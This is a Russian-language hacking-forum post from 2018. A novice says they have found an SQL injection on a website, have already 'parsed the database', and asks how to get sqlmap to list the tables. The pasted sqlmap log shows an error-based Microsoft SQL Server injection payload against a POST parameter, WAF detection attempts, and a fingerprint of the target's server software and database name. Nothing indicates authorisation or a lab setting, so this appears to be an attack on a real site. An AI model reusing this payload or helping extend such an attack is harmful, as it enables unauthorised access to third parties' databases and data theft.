
30.09.2018, 14:06
|
|
Новичок
Регистрация: 09.06.2018
Сообщений: 11
Провел на форуме: 2069
Репутация:
0
|
|
Всем привет. Нашел иньекцию. Спарсил бд на ура,но неможет найти таблицы,--hex и --no-cast не помогают.Тамперы некоторые тоже. В чем может быть проблема? и что можно сделать?
[*] starting at 13:52:51
[13:52:52] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:52:52] [INFO] testing connection to the target URL
[13:52:54] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[13:53:00] [WARNING] WAF/IPS/IDS product hasn't been identified
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Sponsor (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
(IN)
Payload: PlacementID=&Sponsor=DFGHJK'+(SELECT 'hwlL' WHERE 5397=5397 AND 8
871 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(118)+CHAR(98)+CHAR(113)+ (SELECT (CASE W
HEN (8871=8871) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+
CHAR(106)+CHAR(113))))+'
---
[13:53:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
[13:53:00] [INFO] fetching tables for database: db_superdb
[13:53:23] [WARNING] the SQL query provided does not return any output
[13:53:23] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[13:53:24] [WARNING] the SQL query provided does not return any output
[13:53:24] [CRITICAL] unable to retrieve the tables for any database
[13:53:24] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times, 404 (Not Found) - 1 times
[*] shutting down at 13:53:24
C:\sqlmap>
|
|
|